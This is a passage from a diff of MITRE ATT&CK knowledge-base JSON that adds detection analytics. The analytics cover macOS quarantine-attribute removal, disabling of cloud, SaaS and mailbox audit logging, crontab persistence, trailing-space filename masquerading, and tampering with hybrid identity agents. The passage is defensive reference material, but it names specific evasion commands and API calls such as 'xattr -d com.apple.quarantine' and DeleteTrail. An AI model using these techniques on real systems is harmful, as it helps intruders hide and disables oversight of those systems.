"mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0288#AN0800", + "external_id": "AN0800" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0800", + "description": "Correlates suspicious removal or modification of the com.apple.quarantine extended attribute, manipulation of LSFileQuarantineEnabled values in Info.plist, and unexpected process execution of unsigned or non-notarized binaries. Also monitors abnormal trust validation failures in unified logs and unusual activity in QuarantineEvents database entries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:unifiedlog", + "channel": "xattr -d com.apple.quarantine or similar attribute removal commands" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Trust validation failures or bypass attempts during notarization and code signing checks" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:osquery", + "channel": "Changes to LSFileQuarantineEnabled field in Info.plist" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "QuarantineBypassAllowList", + "description": "Legitimate enterprise update tools or deployment frameworks that may strip quarantine flags" + }, + { + "field": "CertificateAuthorityList", + "description": "Baseline trusted Apple Developer IDs and enterprise certs used for code signing" + }, + { + "field": "TimeWindow", + "description": "Time correlation window for xattr modification followed by suspicious process execution" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a788e3ed-8faf-4443-bb26-fd530ca930d1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0289#AN0801", + "external_id": "AN0801" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0801", + "description": "Cloud API events where logging services are stopped, deleted, or modified in a way that disables audit visibility. Defender view: unauthorized StopLogging, DeleteTrail, or UpdateSink operations correlated with privileged user activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ec0612c5-2644-4c50-bcac-82586974fedd", + "name": "AWS:CloudTrail", + "channel": "Stop logging for an existing CloudTrail" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "gcp:config", + "channel": "UpdateSink request modifying log export destinations" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AdminRoles", + "description": "Define which roles are authorized to stop or modify logging." + }, + { + "field": "RegionScope", + "description": "Adjust monitoring to ensure multi-region logging tampering is caught." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8e0f5333-9fc0-4f03-ae12-cf98903e08ea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0289#AN0802", + "external_id": "AN0802" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0802", + "description": "Disabling or modifying sign-in or audit log collection for user activities. Defender view: policy or configuration updates removing logging coverage for critical accounts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "azure:policy", + "channel": "DisableAuditLogs or ConditionalAccess logging changes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CriticalAccounts", + "description": "Tune to prioritize logging changes that affect administrative or high-value accounts." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e42656e7-6a0e-492e-82b6-90d0d5667993", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0289#AN0803", + "external_id": "AN0803" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0803", + "description": "Disabling mailbox or tenant-level audit logging, often using Set-MailboxAuditBypassAssociation or downgrading license tiers. Defender view: sudden absence of mailbox activity logging for monitored users.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "m365:unified", + "channel": "Set-MailboxAuditBypassAssociation or disabling Advanced Auditing" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserScope", + "description": "Tune alerts for users where mailbox auditing should always remain enabled." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--967f7636-1547-4db7-921a-1b84f312a2cd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0289#AN0804", + "external_id": "AN0804" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0804", + "description": "Disabling or altering security and audit logs in SaaS admin panels (e.g., Slack, Zoom, Salesforce). Defender view: API calls or admin console changes that stop event exports or logging integrations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ec0612c5-2644-4c50-bcac-82586974fedd", + "name": "saas:audit", + "channel": "Log export integration removed or disabled" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "IntegrationScope", + "description": "Define which SaaS log integrations are required and alert if removed." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0fbbc547-37a7-4d00-a8a4-5fbcf3d27a1e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0290#AN0805", + "external_id": "AN0805" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0805", + "description": "Detects creation or modification of crontab entries by non-root users or from abnormal parent processes, followed by the execution of uncommon binaries at scheduled intervals.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CronFilePath", + "description": "System-specific crontab paths may vary across distros or deployments." + }, + { + "field": "RunUser", + "description": "Define if only root or specific admin users are allowed to schedule jobs." + }, + { + "field": "ExecutionFrequency", + "description": "Threshold for suspicious repetition (e.g., every minute jobs)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8a764f0e-4bcd-413d-bbf0-1a10cb98b598", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0290#AN0806", + "external_id": "AN0806" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0806", + "description": "Detects crontab job additions or modifications via `crontab` utility or direct edits, especially those created by interactive users executing hidden or renamed scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "macos:unifiedlog", + "channel": "process: crontab edits, launch of cron job" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "fs:fsusage", + "channel": "file access to /usr/lib/cron/tabs/ and cron output files" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptPath", + "description": "Match scheduled binary path to trusted directory baseline." + }, + { + "field": "CronScheduleSyntax", + "description": "Flags excessive frequency or wildcard-heavy cron expressions." + }, + { + "field": "InteractiveUserContext", + "description": "Limit cron job writes from interactive shells." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3ea6b02e-47e0-4815-9190-4e95eb51e779", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0290#AN0807", + "external_id": "AN0807" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0807", + "description": "Detects direct modification of crontab entries in /var/spool/cron/crontabs/root or /etc/rc.local.d/local.sh followed by execution of scripts linked to lateral movement or malware persistence.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "esxi:hostd", + "channel": "modification of crontab or local.sh entries" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "esxi:cron", + "channel": "execution of scheduled job" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "esxi:vmkernel", + "channel": "spawned shell or execution environment activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CrontabFileMonitored", + "description": "Admins may customize paths in hardened deployments." + }, + { + "field": "ShellCommandPayload", + "description": "Flag shell-based persistence indicators in local.sh or cron payloads." + }, + { + "field": "JobInterval", + "description": "Time interval of task repetition for outlier identification." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c8a50f3f-105a-4107-9781-a3d75479e93d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0291#AN0808", + "external_id": "AN0808" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0808", + "description": "Detects web console login events followed by read-only or metadata retrieval activity from GUI sources (e.g., browser session, mobile client) rather than API/CLI sources. Correlates across CloudTrail, IAM identity logs, and user-agent context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "AWS:CloudTrail", + "channel": "ConsoleLogin" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e214eb6d-de8f-4154-9015-6d47915fbed1", + "name": "AWS:CloudTrail", + "channel": "Post-authentication metadata enumeration from GUI session" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserAgentFilter", + "description": "Allowlist/denylist of user agents to distinguish browser-based vs. CLI/API sessions" + }, + { + "field": "TimeWindow", + "description": "Maximum time delta between login and suspicious GUI activity" + }, + { + "field": "PrivilegedSessionThreshold", + "description": "Login attempts to dashboard using elevated IAM roles" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--041c0b93-fda4-478f-b847-d10619db729c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0291#AN0809", + "external_id": "AN0809" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0809", + "description": "Detects successful login to cloud identity portals (e.g., Okta, Azure AD, Google Identity) from atypical geolocations, devices, or user agents immediately followed by dashboard/portal navigation to sensitive pages such as user or app configuration.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "azure:signinlogs", + "channel": "Sign-in with unfamiliar location/device + portal navigation" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "saas:okta", + "channel": "user.session.start" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:okta", + "channel": "WebUI access to administrator dashboard" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "GeoIPAnomalyThreshold", + "description": "Threshold for location anomalies per user profile" + }, + { + "field": "UserAgentReputation", + "description": "Unknown browser/device fingerprint list" + }, + { + "field": "PrivilegedPageAccess", + "description": "List of sensitive dashboard views for alerting" + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a0bfcae2-1936-466d-91b4-f72fcae730b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0291#AN0810", + "external_id": "AN0810" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0810", + "description": "Detects login to admin consoles (e.g., Microsoft 365 Admin Center) from unrecognized users, devices, or geolocations followed by non-API data review or configuration read actions that suggest GUI dashboard use.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "m365:signinlogs", + "channel": "UserLoginSuccess" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "m365:unified", + "channel": "ViewAdminReport" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Read-only configuration review from GUI" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AdminRoleList", + "description": "Roles allowed to access dashboard views" + }, + { + "field": "DashboardNavigationSequence", + "description": "Pageview paths or clickstreams indicating use of GUI admin console" + }, + { + "field": "GeoLocationRisk", + "description": "List of high-risk regions or unexpected geos" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d3e3ed48-7402-40df-a6cc-db9b560bcfd1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0291#AN0811", + "external_id": "AN0811" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0811", + "description": "Detects SaaS web login followed by dashboard or web GUI page views from unfamiliar locations, devices, or access patterns. Identifies use of sensitive reporting or configuration consoles accessed from high-risk accounts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "saas:zoom", + "channel": "Zoom Admin Dashboard accessed from unfamiliar IP/device" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "saas:salesforce", + "channel": "Login" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:box", + "channel": "User navigated to admin interface" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SaaSDashboardViewList", + "description": "List of GUI pages or endpoints considered sensitive" + }, + { + "field": "IPReputationThreshold", + "description": "Reputation score or allowlist of source IPs" + }, + { + "field": "LoginBehaviorBaseline", + "description": "Typical user/device login pairings or login frequency" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--778e2c18-2b26-4dd4-b4b2-3f8310d57a07", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0292#AN0812", + "external_id": "AN0812" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0812", + "description": "Detection of file execution where the file name contains a trailing space to masquerade as a known executable. Adversaries may exploit the way command line interpreters handle file names with trailing whitespace.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "linux:syslog", + "channel": "application or system execution logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutableNameTrailingSpace", + "description": "This detection may vary based on how different shells and file systems treat trailing spaces. Normalize or regex-match file names with trailing space." + }, + { + "field": "UserContext", + "description": "Monitor for untrusted or lower-privileged users executing suspicious scripts with disguised names." + }, + { + "field": "TimeWindow", + "description": "Tune for execution patterns during off-hours to reduce false positives." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--773188c7-6191-4ba4-ad39-b67ed8578dd9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0292#AN0813", + "external_id": "AN0813" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0813", + "description": "Execution of renamed or dropped files with a trailing space to deceive users or analysts, especially in LaunchAgents or LaunchDaemons.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "fs:fsusage", + "channel": "filesystem activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FilenamePattern", + "description": "Tunable regex or path rule to match common masquerade attempts (e.g., 'Terminal .app')." + }, + { + "field": "TargetPath", + "description": "Analytic can be scoped to key directories (e.g., /Users/Library/LaunchAgents/)." + }, + { + "field": "UserContext", + "description": "Focus detection on suspicious user sessions or service creation under non-admin users." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--344f0add-d372-4e0e-88c6-f48e6b424434", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0293#AN0814", + "external_id": "AN0814" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0814", + "description": "Detects injection or tampering of DLLs in hybrid identity agents (e.g., AzureADConnectAuthenticationAgentService), registry or configuration changes tied to PTA/AD FS, and anomalous LSASS or AD FS module loads correlated with authentication anomalies.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", + "name": "WinEventLog:Directory Service", + "channel": "EventCode=5136" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "Anomalous logon without MFA enforcement" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedServices", + "description": "Hybrid identity services monitored for tampering, e.g., PTA agent, AD FS." + }, + { + "field": "TimeWindow", + "description": "Window correlating DLL/module load events with logon anomalies." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e1063b92-9be0-4d25-9df5-bae4171c8153", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0293#AN0815", + "external_id": "AN0815" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0815", + "description": "Detects registration of new PTA agents, conditional access changes disabling hybrid MFA enforcement, or suspicious updates to AD FS token-signing configurations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "azure:signinlogs", + "channel": "Register PTA Agent or Modify AD FS trust" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "m365:unified", + "channel": "New agent registration by non-admin user" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PrivilegedRoles", + "description": "Roles authorized to configure PTA/AD FS integrations." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--80e4f847-a149-423b-a179-cbcf4afd06b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0293#AN0816", + "external_id": "AN0816" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0816", + "description": "Detects API calls registering or updating hybrid identity connectors, modification of cloud-to-on-premises federation trust, and unusual token issuance logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "CloudTrail:UpdatePolicy", + "channel": "UpdateFederationSettings or RegisterHybridConnector" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredFederations", + "description": "Federation trusts and connectors relevant to hybrid identity setup." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--07b8a45e-6435-4c67-ac15-47db21c1d1b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": 